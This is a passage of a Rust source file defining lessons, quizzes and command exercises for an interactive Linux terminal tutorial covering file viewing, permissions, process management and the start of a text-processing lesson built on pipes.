722                step_type: StepType::CommandExercise {
723                    expected_command: "cat /etc/hostname".to_string(),
724                    validation: CommandValidation::Exact,
725                    success_message: "Perfect! 'cat' dumps the entire file to your screen. Great for small files, but overwhelming for large ones.".to_string(),
726                },
727            },
728            LessonStep {
729                step_number: 3,
730                title: "Viewing Multiple Files".to_string(),
731                instruction: "cat can display multiple files at once. Try: cat /etc/hostname /etc/os-release".to_string(),
732                hint: Some("Type exactly: cat /etc/hostname /etc/os-release".to_string()),
733                step_type: StepType::CommandExercise {
734                    expected_command: "cat /etc/hostname /etc/os-release".to_string(),
735                    validation: CommandValidation::Exact,
736                    success_message: "Excellent! cat concatenates (combines) multiple files and displays them in order. That's why it's called 'cat'!".to_string(),
737                },
738            },
739            LessonStep {
740                step_number: 4,
741                title: "Reading Large Files with less".to_string(),
742                instruction: "For large files, use 'less' which lets you scroll. It's like a book reader. Try: less /etc/services".to_string(),
743                hint: Some("Type: less /etc/services (use arrow keys to scroll, 'q' to quit)".to_string()),
744                step_type: StepType::CommandExercise {
745                    expected_command: "less /etc/services".to_string(),
746                    validation: CommandValidation::Exact,
747                    success_message: "Great! In less: arrow keys scroll, Space=page down, 'b'=page up, '/'=search, 'q'=quit. It's named 'less' because 'less is more' (improving on the old 'more' command).".to_string(),
748                },
749            },
750            LessonStep {
751                step_number: 5,
752                title: "Quiz: When to Use cat vs less?".to_string(),
753                instruction: "".to_string(),
754                hint: None,
755                step_type: StepType::MultipleChoice {
756                    question: "When should you use 'less' instead of 'cat'?".to_string(),
757                    options: vec![
758                        "Always use cat, it's faster".to_string(),
759                        "For large files where you need to scroll and search".to_string(),
760                        "Only for binary files".to_string(),
761                        "When you want to edit the file".to_string(),
762                    ],
763                    correct_index: 1,
764                    explanation: "Correct! Use 'less' for large files (logs, documentation) where you need to scroll and search. Use 'cat' for quick viewing of small files or when piping to other commands. Neither cat nor less can edit files - use a text editor like nano or vim for that!".to_string(),
765                },
766            },
767            LessonStep {
768                step_number: 6,
769                title: "Viewing File Beginnings with head".to_string(),
770                instruction: "To see just the first few lines of a file, use 'head'. Try viewing the first 10 lines of /etc/services".to_string(),
771                hint: Some("Type: head /etc/services".to_string()),
772                step_type: StepType::CommandExercise {
773                    expected_command: "head /etc/services".to_string(),
774                    validation: CommandValidation::Exact,
775                    success_message: "Perfect! By default, 'head' shows the first 10 lines. Great for previewing files or checking log file headers.".to_string(),
776                },
777            },
778            LessonStep {
779                step_number: 7,
780                title: "Custom Line Count with head".to_string(),
781                instruction: "You can specify how many lines to show with -n. Try showing the first 5 lines: head -n 5 /etc/services".to_string(),
782                hint: Some("Type: head -n 5 /etc/services".to_string()),
783                step_type: StepType::CommandExercise {
784                    expected_command: "head -n 5 /etc/services".to_string(),
785                    validation: CommandValidation::Exact,
786                    success_message: "Excellent! The -n flag controls the number of lines. You can also use the shorthand: head -5 /etc/services".to_string(),
787                },
788            },
789            LessonStep {
790                step_number: 8,
791                title: "Viewing File Endings with tail".to_string(),
792                instruction: "To see the last lines of a file, use 'tail'. This is crucial for checking log files. Try: tail /etc/services".to_string(),
793                hint: Some("Type: tail /etc/services".to_string()),
794                step_type: StepType::CommandExercise {
795                    expected_command: "tail /etc/services".to_string(),
796                    validation: CommandValidation::Exact,
797                    success_message: "Great! 'tail' shows the last 10 lines by default. Essential for checking recent log entries!".to_string(),
798                },
799            },
800            LessonStep {
801                step_number: 9,
802                title: "Live Log Monitoring".to_string(),
803                instruction: "".to_string(),
804                hint: None,
805                step_type: StepType::Information {
806                    content: "Pro tip: tail -f (follow mode)\n\nThe -f flag makes tail continuously show new lines as they're added to a file:\n\n  tail -f /var/log/syslog\n\nThis is INCREDIBLY useful for:\n  • Monitoring live log files\n  • Watching application output\n  • Debugging server issues\n  • Tracking file changes in real-time\n\nPress Ctrl+C to stop following.\n\nExample: tail -f /var/log/nginx/access.log\nWatches web server traffic in real-time!".to_string(),
807                },
808            },
809            LessonStep {
810                step_number: 10,
811                title: "Introduction to grep".to_string(),
812                instruction: "grep searches for patterns in files. It's like Ctrl+F for the command line. Search for 'http' in /etc/services: grep http /etc/services".to_string(),
813                hint: Some("Type: grep http /etc/services".to_string()),
814                step_type: StepType::CommandExercise {
815                    expected_command: "grep http /etc/services".to_string(),
816                    validation: CommandValidation::Exact,
817                    success_message: "Perfect! grep found all lines containing 'http'. Each matching line is displayed with the pattern highlighted.".to_string(),
818                },
819            },
820            LessonStep {
821                step_number: 11,
822                title: "Case-Insensitive Search".to_string(),
823                instruction: "By default, grep is case-sensitive. Use -i for case-insensitive search. Try: grep -i SSH /etc/services".to_string(),
824                hint: Some("Type: grep -i SSH /etc/services".to_string()),
825                step_type: StepType::CommandExercise {
826                    expected_command: "grep -i SSH /etc/services".to_string(),
827                    validation: CommandValidation::AnyOf(vec![
828                        "grep -i SSH /etc/services".to_string(),
829                        "grep -i ssh /etc/services".to_string(),
830                    ]),
831                    success_message: "Excellent! The -i flag makes grep ignore case, matching 'SSH', 'ssh', 'Ssh', etc. Very useful when you're not sure of the exact capitalization.".to_string(),
832                },
833            },
834            LessonStep {
835                step_number: 12,
836                title: "Completion: File Viewing Mastered!".to_string(),
837                instruction: "".to_string(),
838                hint: None,
839                step_type: StepType::Information {
840                    content: "Congratulations! You've mastered file viewing!\n\nKey commands learned:\n  • cat file.txt           - Display entire file\n  • cat file1 file2        - Display multiple files\n  • less file.txt          - Navigate large files (q to quit)\n  • head file.txt          - First 10 lines\n  • head -n 20 file.txt    - First 20 lines\n  • tail file.txt          - Last 10 lines\n  • tail -f file.txt       - Follow file (live updates)\n  • grep pattern file      - Search for pattern\n  • grep -i pattern file   - Case-insensitive search\n\nQuick reference:\n  Small files? → cat\n  Large files? → less\n  Check beginning? → head\n  Check end/logs? → tail\n  Find something? → grep\n  Watch live logs? → tail -f\n\nNext lesson: Learn text processing with pipes and filters!".to_string(),
841                },
842            },
843        ],
844    }
845}
846
847/// Create the "Permissions & Ownership" lesson
848fn create_permissions_lesson() -> Lesson {
849    Lesson {
850        id: "permissions".to_string(),
851        title: "Permissions & Ownership".to_string(),
852        description: "Understand Linux file permissions, ownership, and how to modify them safely using chmod and chown.".to_string(),
853        difficulty: Difficulty::Intermediate,
854        estimated_minutes: 15,
855        prerequisites: vec!["nav-basics".to_string(), "file-mgmt".to_string()],
856        tags: vec!["intermediate".to_string(), "permissions".to_string(), "security".to_string()],
857        steps: vec![
858            LessonStep {
859                step_number: 1,
860                title: "Understanding Linux Permissions".to_string(),
861                instruction: "".to_string(),
862                hint: None,
863                step_type: StepType::Information {
864                    content: "Welcome to Permissions & Ownership!\n\nLinux is a multi-user system. Permissions control who can read, write, or execute files.\n\nWhen you run 'ls -l', you see something like:\n  -rw-r--r-- 1 user group 1234 Nov 16 10:30 file.txt\n\nLet's decode this:\n  -rw-r--r--  ← Permissions (10 characters)\n  1           ← Number of hard links\n  user        ← Owner\n  group       ← Group\n  1234        ← Size in bytes\n  Nov 16...   ← Last modified date/time\n  file.txt    ← Filename\n\nWe'll focus on permissions and ownership. Understanding this is crucial for security!".to_string(),
865                },
866            },
867            LessonStep {
868                step_number: 2,
869                title: "Viewing Permissions".to_string(),
870                instruction: "First, let's see permissions in action. Use 'ls -l' to view detailed file information in your home directory.".to_string(),
871                hint: Some("Type: ls -l".to_string()),
872                step_type: StepType::CommandExercise {
873                    expected_command: "ls -l".to_string(),
874                    validation: CommandValidation::CommandOnly,
875                    success_message: "Great! Look at the first column - those cryptic letters are the permissions. Let's decode them!".to_string(),
876                },
877            },
878            LessonStep {
879                step_number: 3,
880                title: "Decoding Permission Strings".to_string(),
881                instruction: "".to_string(),
882                hint: None,
883                step_type: StepType::Information {
884                    content: "Understanding the 10-character permission string:\n\n  -rw-r--r--\n  ↑↑↑↑↑↑↑↑↑↑\n  │││││││││└─ Others: read\n  ││││││││└── Others: write (no)\n  │││││││└─── Others: execute (no)\n  ││││││└──── Group: read\n  │││││└───── Group: write (no)\n  ││││└────── Group: execute (no)\n  │││└─────── Owner: read\n  ││└──────── Owner: write\n  │└───────── Owner: execute (no)\n  └────────── File type (- = file, d = directory, l = link)\n\nThree permission types:\n  r = read (4)    - View file contents\n  w = write (2)   - Modify or delete\n  x = execute (1) - Run as program/script\n\nThree permission groups:\n  Owner → Group → Others (everyone else)".to_string(),
885                },
886            },
887            LessonStep {
888                step_number: 4,
889                title: "Quiz: Reading Permissions".to_string(),
890                instruction: "".to_string(),
891                hint: None,
892                step_type: StepType::MultipleChoice {
893                    question: "A file has permissions '-rwxr-x---'. What can the group do?".to_string(),
894                    options: vec![
895                        "Read, write, and execute".to_string(),
896                        "Read and execute only".to_string(),
897                        "Execute only".to_string(),
898                        "Nothing - no permissions".to_string(),
899                    ],
900                    correct_index: 1,
901                    explanation: "Correct! Breaking it down: -rwxr-x---\nOwner (rwx) can do everything. Group (r-x) can read and execute but NOT write. Others (---) have no permissions at all. The middle set of three characters (r-x) represents group permissions.".to_string(),
902                },
903            },
904            LessonStep {
905                step_number: 5,
906                title: "Numeric Permission Notation".to_string(),
907                instruction: "".to_string(),
908                hint: None,
909                step_type: StepType::Information {
910                    content: "Permissions can be expressed as numbers!\n\nEach permission has a value:\n  r (read)    = 4\n  w (write)   = 2\n  x (execute) = 1\n  - (none)    = 0\n\nAdd them up for each group:\n  rwx = 4+2+1 = 7 (all permissions)\n  rw- = 4+2+0 = 6 (read + write)\n  r-x = 4+0+1 = 5 (read + execute)\n  r-- = 4+0+0 = 4 (read only)\n  --- = 0+0+0 = 0 (no permissions)\n\nCommon permission sets:\n  644 = rw-r--r-- (owner writes, others read)\n  755 = rwxr-xr-x (owner writes, all execute)\n  600 = rw------- (owner only, private file)\n  777 = rwxrwxrwx (DANGEROUS - everyone can do everything!)\n\nExample: -rw-r--r-- = 644".to_string(),
911                },
912            },
913            LessonStep {
914                step_number: 6,
915                title: "Quiz: Numeric Permissions".to_string(),
916                instruction: "".to_string(),
917                hint: None,
918                step_type: StepType::MultipleChoice {
919                    question: "What does 'chmod 755 script.sh' do?".to_string(),
920                    options: vec![
921                        "Owner: read only, Group/Others: read + execute".to_string(),
922                        "Owner: all permissions, Group/Others: read + execute".to_string(),
923                        "Everyone: all permissions (dangerous!)".to_string(),
924                        "Owner: read + write, Group/Others: read only".to_string(),
925                    ],
926                    correct_index: 1,
927                    explanation: "Correct! 755 means:\n  7 (owner) = rwx = 4+2+1 = full control\n  5 (group) = r-x = 4+0+1 = read and execute\n  5 (others) = r-x = 4+0+1 = read and execute\n\nThis is perfect for scripts and executables - the owner can modify it, but everyone can run it. Common for programs in /usr/bin!".to_string(),
928                },
929            },
930            LessonStep {
931                step_number: 7,
932                title: "Using chmod with Numbers".to_string(),
933                instruction: "Let's practice! First, create a test file: touch testfile.txt, then set its permissions to 644: chmod 644 testfile.txt".to_string(),
934                hint: Some("Type two commands: touch testfile.txt then chmod 644 testfile.txt".to_string()),
935                step_type: StepType::CommandExercise {
936                    expected_command: "chmod 644 testfile.txt".to_string(),
937                    validation: CommandValidation::Exact,
938                    success_message: "Perfect! You've set the file to rw-r--r-- (644). You can write to it, but others can only read. This is the standard for regular files.".to_string(),
939                },
940            },
941            LessonStep {
942                step_number: 8,
943                title: "Using chmod with Symbolic Notation".to_string(),
944                instruction: "You can also use letters! Make testfile.txt executable for the owner: chmod u+x testfile.txt".to_string(),
945                hint: Some("Type: chmod u+x testfile.txt (u=user/owner, +x=add execute)".to_string()),
946                step_type: StepType::CommandExercise {
947                    expected_command: "chmod u+x testfile.txt".to_string(),
948                    validation: CommandValidation::Exact,
949                    success_message: "Excellent! Symbolic notation is intuitive:\n  u=user/owner, g=group, o=others, a=all\n  +=add, -=remove, ==set exactly\n  r=read, w=write, x=execute\n\nExamples: chmod g+w file (group can write), chmod o-r file (others can't read)".to_string(),
950                },
951            },
952            LessonStep {
953                step_number: 9,
954                title: "Making Scripts Executable".to_string(),
955                instruction: "Common task: making a script runnable. Use the shorthand to add execute permission for everyone: chmod +x testfile.txt".to_string(),
956                hint: Some("Type: chmod +x testfile.txt (no u/g/o means 'all')".to_string()),
957                step_type: StepType::CommandExercise {
958                    expected_command: "chmod +x testfile.txt".to_string(),
959                    validation: CommandValidation::Exact,
960                    success_message: "Great! When you omit u/g/o, it applies to all. 'chmod +x' is the quickest way to make a script executable. Now you could run it with ./testfile.txt (if it were a script).".to_string(),
961                },
962            },
963            LessonStep {
964                step_number: 10,
965                title: "Understanding Ownership".to_string(),
966                instruction: "".to_string(),
967                hint: None,
968                step_type: StepType::Information {
969                    content: "File Ownership in Linux:\n\nEvery file has TWO owners:\n  1. User owner (usually who created it)\n  2. Group owner (for sharing among team members)\n\nIn 'ls -l' output:\n  -rw-r--r-- 1 alice developers 1234 Nov 16 file.txt\n              ↑     ↑\n              user  group\n\nWhy does this matter?\n  • Users in 'developers' group get the group permissions\n  • Everyone else gets the 'others' permissions\n  • Only root (admin) or the owner can change ownership\n\nCommon use case:\n  Web server files owned by 'www-data' user and group\n  Log files owned by 'syslog' user for security".to_string(),
970                },
971            },
972            LessonStep {
973                step_number: 11,
974                title: "Changing Ownership with chown".to_string(),
975                instruction: "".to_string(),
976                hint: None,
977                step_type: StepType::Information {
978                    content: "The chown command changes file ownership:\n\nSyntax:\n  chown user:group file.txt\n  chown user file.txt        (just change user)\n  chown :group file.txt      (just change group)\n\nExamples:\n  sudo chown alice:developers file.txt\n  sudo chown www-data:www-data /var/www/index.html\n  sudo chown -R user:group /path/to/directory  (-R = recursive)\n\nIMPORTANT:\n  • Usually requires sudo (only root can change ownership)\n  • Be careful with -R (recursive) - affects all files inside!\n  • Don't change ownership of system files unless you know what you're doing\n\nFor practice, you typically don't need chown on your own files.\nYou're already the owner!".to_string(),
979                },
980            },
981            LessonStep {
982                step_number: 12,
983                title: "Quiz: Permission Safety".to_string(),
984                instruction: "".to_string(),
985                hint: None,
986                step_type: StepType::MultipleChoice {
987                    question: "Why should you NEVER use 'chmod 777' on files?".to_string(),
988                    options: vec![
989                        "It's too complicated to type".to_string(),
990                        "It gives EVERYONE full read, write, execute access - a security nightmare!".to_string(),
991                        "It makes files read-only".to_string(),
992                        "It only works on directories".to_string(),
993                    ],
994                    correct_index: 1,
995                    explanation: "CORRECT! chmod 777 = rwxrwxrwx means EVERYONE on the system can read, modify, delete, and execute your file. This is a massive security risk!\n\nNever use 777! Instead:\n  • 644 for regular files (rw-r--r--)\n  • 755 for scripts/executables (rwxr-xr-x)\n  • 600 for private files (rw-------)\n  • 700 for private scripts (rwx------)\n\nUse minimal permissions needed. It's the principle of least privilege!".to_string(),
996                },
997            },
998            LessonStep {
999                step_number: 13,
1000                title: "Completion: Permissions Mastered!".to_string(),
1001                instruction: "".to_string(),
1002                hint: None,
1003                step_type: StepType::Information {
1004                    content: "Excellent work! You understand Linux permissions!\n\nKey concepts:\n  • Three permission types: read (r), write (w), execute (x)\n  • Three groups: owner, group, others\n  • Numeric notation: 644, 755, 600, 700\n  • Symbolic notation: u+x, g-w, o=r\n\nEssential commands:\n  ls -l                  View permissions\n  chmod 644 file         Set permissions (numeric)\n  chmod u+x file         Add execute for owner (symbolic)\n  chmod +x file          Make executable for all\n  chown user:group file  Change ownership (needs sudo)\n\nSafety rules:\n  ✓ Never chmod 777 (security risk!)\n  ✓ Use minimal permissions needed\n  ✓ 644 for files, 755 for executables\n  ✓ 600/700 for private data\n  ✓ Be careful with -R (recursive)\n\nNext: Learn process management!".to_string(),
1005                },
1006            },
1007        ],
1008    }
1009}
1010
1011/// Create the "Process Management" lesson
1012fn create_process_management_lesson() -> Lesson {
1013    Lesson {
1014        id: "process-mgmt".to_string(),
1015        title: "Process Management".to_string(),
1016        description: "Learn to monitor and control running processes using ps, top, kill, and background job management.".to_string(),
1017        difficulty: Difficulty::Intermediate,
1018        estimated_minutes: 15,
1019        prerequisites: vec!["nav-basics".to_string()],
1020        tags: vec!["intermediate".to_string(), "processes".to_string(), "system".to_string()],
1021        steps: vec![
1022            LessonStep {
1023                step_number: 1,
1024                title: "Introduction to Processes".to_string(),
1025                instruction: "".to_string(),
1026                hint: None,
1027                step_type: StepType::Information {
1028                    content: "Welcome to Process Management!\n\nA 'process' is a running program. Every command you execute becomes a process. Your system runs hundreds of processes simultaneously.\n\nKey concepts:\n  • PID (Process ID) - Unique number for each process\n  • Parent/Child - Processes can spawn other processes\n  • Foreground - Process using your terminal\n  • Background - Process running without blocking terminal\n  • Zombie - Dead process that hasn't been cleaned up\n\nYou'll learn to:\n  • View running processes\n  • Monitor system resources\n  • Kill misbehaving processes\n  • Run tasks in the background\n\nLet's dive in!".to_string(),
1029                },
1030            },
1031            LessonStep {
1032                step_number: 2,
1033                title: "Viewing Your Processes".to_string(),
1034                instruction: "The 'ps' command shows running processes. Try it: ps".to_string(),
1035                hint: Some("Type: ps".to_string()),
1036                step_type: StepType::CommandExercise {
1037                    expected_command: "ps".to_string(),
1038                    validation: CommandValidation::CommandOnly,
1039                    success_message: "Good! You see a short list of processes in your current terminal. But there's much more happening! Let's see everything.".to_string(),
1040                },
1041            },
1042            LessonStep {
1043                step_number: 3,
1044                title: "Viewing All Processes".to_string(),
1045                instruction: "To see ALL processes on the system, use: ps aux (a=all users, u=user-oriented format, x=include processes without terminals)".to_string(),
1046                hint: Some("Type: ps aux".to_string()),
1047                step_type: StepType::CommandExercise {
1048                    expected_command: "ps aux".to_string(),
1049                    validation: CommandValidation::Exact,
1050                    success_message: "Wow! Look at all those processes! Each line shows: USER, PID, CPU%, MEM%, COMMAND. This is a snapshot of your entire system.".to_string(),
1051                },
1052            },
1053            LessonStep {
1054                step_number: 4,
1055                title: "Understanding ps Output".to_string(),
1056                instruction: "".to_string(),
1057                hint: None,
1058                step_type: StepType::Information {
1059                    content: "Decoding 'ps aux' output:\n\nUSER    PID %CPU %MEM    VSZ   RSS TTY   STAT START   TIME COMMAND\nroot      1  0.0  0.1 168580 12140 ?     Ss   Nov15   0:01 /sbin/init\n\nColumns explained:\n  USER  - Who owns the process\n  PID   - Process ID (unique identifier)\n  %CPU  - CPU usage percentage\n  %MEM  - Memory usage percentage\n  VSZ   - Virtual memory size (KB)\n  RSS   - Resident memory size (KB, actual RAM used)\n  TTY   - Terminal (? means no terminal)\n  STAT  - Process state:\n          S = Sleeping (waiting)\n          R = Running\n          Z = Zombie (dead but not cleaned up)\n          T = sTopped\n          s = session leader\n          + = foreground process\n  START - When process started\n  TIME  - CPU time used\n  COMMAND - The actual command/program".to_string(),
1060                },
1061            },
1062            LessonStep {
1063                step_number: 5,
1064                title: "Quiz: Process States".to_string(),
1065                instruction: "".to_string(),
1066                hint: None,
1067                step_type: StepType::MultipleChoice {
1068                    question: "A process shows state 'Z' in ps output. What does this mean?".to_string(),
1069                    options: vec![
1070                        "The process is running normally".to_string(),
1071                        "The process is asleep/waiting".to_string(),
1072                        "It's a zombie - process finished but parent hasn't collected its exit status".to_string(),
1073                        "The process is using zero CPU".to_string(),
1074                    ],
1075                    correct_index: 2,
1076                    explanation: "Correct! A 'Z' (zombie) process has completed execution but its parent hasn't read its exit status yet. They usually clean up quickly. If you see many zombies, the parent process might be buggy. Zombies don't use resources but indicate a problem.".to_string(),
1077                },
1078            },
1079            LessonStep {
1080                step_number: 6,
1081                title: "Real-Time Monitoring with top".to_string(),
1082                instruction: "The 'top' command shows processes in real-time, updating every few seconds. Try it: top".to_string(),
1083                hint: Some("Type: top (press 'q' to quit when you're done looking)".to_string()),
1084                step_type: StepType::CommandExercise {
1085                    expected_command: "top".to_string(),
1086                    validation: CommandValidation::CommandOnly,
1087                    success_message: "Great! 'top' is like a live dashboard. It shows:\n  • Top section: system summary (CPU, memory, uptime)\n  • Bottom: processes sorted by CPU usage\n  • Press 'M' to sort by memory, 'P' for CPU, 'q' to quit\n  • Press 'k' to kill a process by PID".to_string(),
1088                },
1089            },
1090            LessonStep {
1091                step_number: 7,
1092                title: "Finding Specific Processes".to_string(),
1093                instruction: "To find a specific process, combine ps with grep. Try searching for bash processes: ps aux | grep bash".to_string(),
1094                hint: Some("Type: ps aux | grep bash".to_string()),
1095                step_type: StepType::CommandExercise {
1096                    expected_command: "ps aux | grep bash".to_string(),
1097                    validation: CommandValidation::Exact,
1098                    success_message: "Perfect! The pipe (|) sends ps output to grep, which filters for lines containing 'bash'. This is how you find specific running programs. Note: you'll also see the grep command itself in the results!".to_string(),
1099                },
1100            },
1101            LessonStep {
1102                step_number: 8,
1103                title: "Killing Processes Safely".to_string(),
1104                instruction: "".to_string(),
1105                hint: None,
1106                step_type: StepType::Information {
1107                    content: "The 'kill' command sends signals to processes.\n\nCommon signals:\n  kill PID          - SIGTERM (15) - Polite request to terminate\n  kill -9 PID       - SIGKILL (9) - Force kill (cannot be ignored)\n  kill -1 PID       - SIGHUP (1) - Hangup, often reloads config\n  kill -STOP PID    - Pause process\n  kill -CONT PID    - Resume paused process\n\nBest practice:\n  1. Try 'kill PID' first (gives process chance to cleanup)\n  2. Wait a few seconds\n  3. If still running, use 'kill -9 PID' (force kill)\n\nALTERNATIVES:\n  pkill firefox     - Kill by name (all matching processes)\n  killall firefox   - Same as pkill\n  kill -9 -1        - Kill all your processes (dangerous!)\n\nWarning: Only kill your own processes unless you're root!".to_string(),
1108                },
1109            },
1110            LessonStep {
1111                step_number: 9,
1112                title: "Quiz: Killing Processes".to_string(),
1113                instruction: "".to_string(),
1114                hint: None,
1115                step_type: StepType::MultipleChoice {
1116                    question: "A program is frozen. What's the safest way to kill it?".to_string(),
1117                    options: vec![
1118                        "Immediately use 'kill -9 PID'".to_string(),
1119                        "Try 'kill PID' first, then 'kill -9 PID' if it doesn't work".to_string(),
1120                        "Use 'pkill -9' to kill all processes with that name".to_string(),
1121                        "Restart the computer".to_string(),
1122                    ],
1123                    correct_index: 1,
1124                    explanation: "Correct! Always try the polite 'kill PID' (SIGTERM) first. This allows the program to:\n  • Save data\n  • Close files properly\n  • Clean up resources\n  • Shutdown gracefully\n\nOnly use 'kill -9' (SIGKILL) if the process doesn't respond to SIGTERM. SIGKILL cannot be caught or ignored - it's an immediate termination with no cleanup.".to_string(),
1125                },
1126            },
1127            LessonStep {
1128                step_number: 10,
1129                title: "Running Commands in Background".to_string(),
1130                instruction: "".to_string(),
1131                hint: None,
1132                step_type: StepType::Information {
1133                    content: "Background jobs let you multitask in the terminal!\n\nRunning in background:\n  command &             - Run command in background\n  sleep 60 &            - Example: sleep for 60 seconds in background\n\nManaging jobs:\n  jobs                  - List background jobs\n  fg                    - Bring last job to foreground\n  fg %1                 - Bring job 1 to foreground\n  bg                    - Resume paused job in background\n  Ctrl+Z                - Pause current foreground job\n  Ctrl+C                - Kill current foreground job\n\nPractical workflow:\n  1. Start: command &\n  2. Check: jobs\n  3. Bring to front: fg %1\n  4. Pause: Ctrl+Z\n  5. Resume in back: bg\n\nExample:\n  $ sleep 100 &\n  [1] 12345         ← Job 1, PID 12345\n  $ jobs\n  [1]+ Running     sleep 100 &".to_string(),
1134                },
1135            },
1136            LessonStep {
1137                step_number: 11,
1138                title: "Understanding Process Priority".to_string(),
1139                instruction: "".to_string(),
1140                hint: None,
1141                step_type: StepType::Information {
1142                    content: "Process Priority and 'nice' values:\n\nEvery process has a priority (niceness) from -20 to 19:\n  -20 = Highest priority (least nice, hogs CPU)\n   0  = Default priority\n  19  = Lowest priority (most nice, yields CPU)\n\nCommands:\n  nice -n 10 command    - Start with lower priority (+10)\n  nice -n -5 command    - Start with higher priority (needs root)\n  renice 15 -p PID      - Change running process priority\n  top, then 'r'         - Renice in top (enter PID, then value)\n\nWhen to use:\n  • Running intensive backups: nice -n 15 backup.sh\n  • Encoding video: nice -n 10 ffmpeg ...\n  • Critical real-time app: sudo nice -n -10 app\n\nHigher nice value = lower priority = more CPU for other tasks.\nIt's called 'nice' because you're being nice by using less CPU!".to_string(),
1143                },
1144            },
1145            LessonStep {
1146                step_number: 12,
1147                title: "Completion: Process Management Mastered!".to_string(),
1148                instruction: "".to_string(),
1149                hint: None,
1150                step_type: StepType::Information {
1151                    content: "Excellent! You can now manage processes like a pro!\n\nKey commands learned:\n  ps                List current processes\n  ps aux            List ALL processes with details\n  ps aux | grep X   Find specific process\n  top               Real-time process monitor (q to quit)\n  htop              Better top (if installed)\n\nKilling processes:\n  kill PID          Polite termination (SIGTERM)\n  kill -9 PID       Force kill (SIGKILL)\n  pkill name        Kill by process name\n  killall name      Kill all processes with name\n\nBackground jobs:\n  command &         Run in background\n  jobs              List background jobs\n  fg                Bring to foreground\n  bg                Resume in background\n  Ctrl+Z            Pause current job\n  Ctrl+C            Kill current job\n\nPriority:\n  nice -n N cmd     Start with priority\n  renice N -p PID   Change priority\n\nNext: Master text processing with pipes!".to_string(),
1152                },
1153            },
1154        ],
1155    }
1156}
1157
1158/// Create the "Text Processing" lesson
1159fn create_text_processing_lesson() -> Lesson {
1160    Lesson {
1161        id: "text-processing".to_string(),
1162        title: "Text Processing with Pipes".to_string(),
1163        description: "Master powerful text processing using grep, cut, sort, uniq, pipes, and basic sed/awk for data manipulation.".to_string(),
1164        difficulty: Difficulty::Intermediate,
1165        estimated_minutes: 20,
1166        prerequisites: vec!["file-viewing".to_string()],
1167        tags: vec!["intermediate".to_string(), "text".to_string(), "pipes".to_string()],
1168        steps: vec![
1169            LessonStep {
1170                step_number: 1,
1171                title: "The Power of Text Processing".to_string(),
1172                instruction: "".to_string(),
1173                hint: None,
1174                step_type: StepType::Information {
1175                    content: "Welcome to Text Processing!\n\nLinux philosophy: Small, focused tools that do ONE thing well, combined through pipes.\n\nYou'll learn to:\n  • Chain commands with pipes (|)\n  • Filter text with grep patterns\n  • Extract columns with cut\n  • Sort and organize data\n  • Find unique entries with uniq\n  • Transform text with sed and awk\n\nThese tools turn the terminal into a data processing powerhouse!\n\nExample workflow:\n  cat access.log | grep ERROR | cut -d' ' -f1 | sort | uniq -c\n  ↑ read log → filter errors → extract IPs → sort → count unique\n\nLet's start simple and build up!".to_string(),
1176                },
1177            },
1178            LessonStep {
1179                step_number: 2,
1180                title: "Introduction to Pipes".to_string(),
1181                instruction: "Pipes (|) send output from one command as input to another. Try: ls -l | grep txt".to_string(),
1182                hint: Some("Type: ls -l | grep txt".to_string()),
1183                step_type: StepType::CommandExercise {
1184                    expected_command: "ls -l | grep txt".to_string(),
1185                    validation: CommandValidation::Exact,
1186                    success_message: "Perfect! The pipe takes 'ls -l' output and filters it through grep, showing only lines with 'txt'. Pipes are the foundation of text processing!".to_string(),
1187                },
1188            },
1189            LessonStep {
1190                step_number: 3,
1191                title: "Advanced grep Patterns".to_string(),
1192                instruction: "grep can use regular expressions. The -E flag enables extended regex. Try finding lines starting with numbers in /etc/services: grep -E '^[0-9]' /etc/services".to_string(),
1193                hint: Some("Type: grep -E '^[0-9]' /etc/services (^ means start of line, [0-9] means any digit)".to_string()),
1194                step_type: StepType::CommandExercise {
1195                    expected_command: "grep -E '^[0-9]' /etc/services".to_string(),
1196                    validation: CommandValidation::Exact,
1197                    success_message: "Great! Regular expressions are powerful:\n  ^ = start of line\n  $ = end of line\n  . = any character\n  * = zero or more\n  + = one or more\n  [0-9] = any digit\n  [a-z] = any lowercase letter".to_string(),
1198                },
1199            },
1200            LessonStep {
1201                step_number: 4,
1202                title: "Showing Line Numbers and Context".to_string(),
1203                instruction: "grep -n shows line numbers. Try: grep -n http /etc/services | head -5".to_string(),
1204                hint: Some("Type: grep -n http /etc/services | head -5".to_string()),
1205                step_type: StepType::CommandExercise {
1206                    expected_command: "grep -n http /etc/services | head -5".to_string(),
1207                    validation: CommandValidation::Exact,
1208                    success_message: "Excellent! The -n flag adds line numbers. Other useful grep flags:\n  -v (invert, show non-matching)\n  -c (count matches)\n  -l (list filenames only)\n  -A 3 (show 3 lines After match)\n  -B 3 (show 3 lines Before match)\n  -C 3 (show 3 lines of Context)".to_string(),
1209                },
1210            },
1211            LessonStep {
1212                step_number: 5,
1213                title: "Extracting Columns with cut".to_string(),
1214                instruction: "".to_string(),
1215                hint: None,
1216                step_type: StepType::Information {
1217                    content: "'cut' extracts specific columns from text.\n\nCommon uses:\n  cut -d':' -f1 /etc/passwd     Extract 1st field (usernames)\n  cut -d' ' -f1,3 file.txt      Extract fields 1 and 3\n  cut -c1-10 file.txt           Extract characters 1-10\n\nOptions:\n  -d 'delimiter'  - Field separator (default: tab)\n  -f fields       - Which field(s) to extract (1,2,3 or 1-5)\n  -c chars        - Character positions\n\nExample with /etc/passwd:\n  cat /etc/passwd | cut -d':' -f1,3\n  Shows username (field 1) and user ID (field 3)\n\nGreat for:\n  • CSV files (cut -d',')\n  • Log files (cut -d' ')\n  • Configuration files\n  • Tab-separated data".to_string(),
1218                },
1219            },
1220            LessonStep {
1221                step_number: 6,
1222                title: "Practice: Extract Usernames".to_string(),
1223                instruction: "Extract just the usernames (first field) from /etc/passwd. Use cut with colon delimiter: cut -d':' -f1 /etc/passwd".to_string(),
1224                hint: Some("Type: cut -d':' -f1 /etc/passwd".to_string()),
1225                step_type: StepType::CommandExercise {
1226                    expected_command: "cut -d':' -f1 /etc/passwd".to_string(),
1227                    validation: CommandValidation::Exact,
1228                    success_message: "Perfect! You've extracted all usernames. The /etc/passwd file uses colons as delimiters, and field 1 is the username. This is how you parse structured text files!".to_string(),
1229                },
1230            },
1231            LessonStep {
1232                step_number: 7,
1233                title: "Sorting Text with sort".to_string(),
1234                instruction: "The 'sort' command organizes lines alphabetically. Try sorting usernames: cut -d':' -f1 /etc/passwd | sort".to_string(),
1235                hint: Some("Type: cut -d':' -f1 /etc/passwd | sort".to_string()),
1236                step_type: StepType::CommandExercise {
1237                    expected_command: "cut -d':' -f1 /etc/passwd | sort".to_string(),
1238                    validation: CommandValidation::Exact,
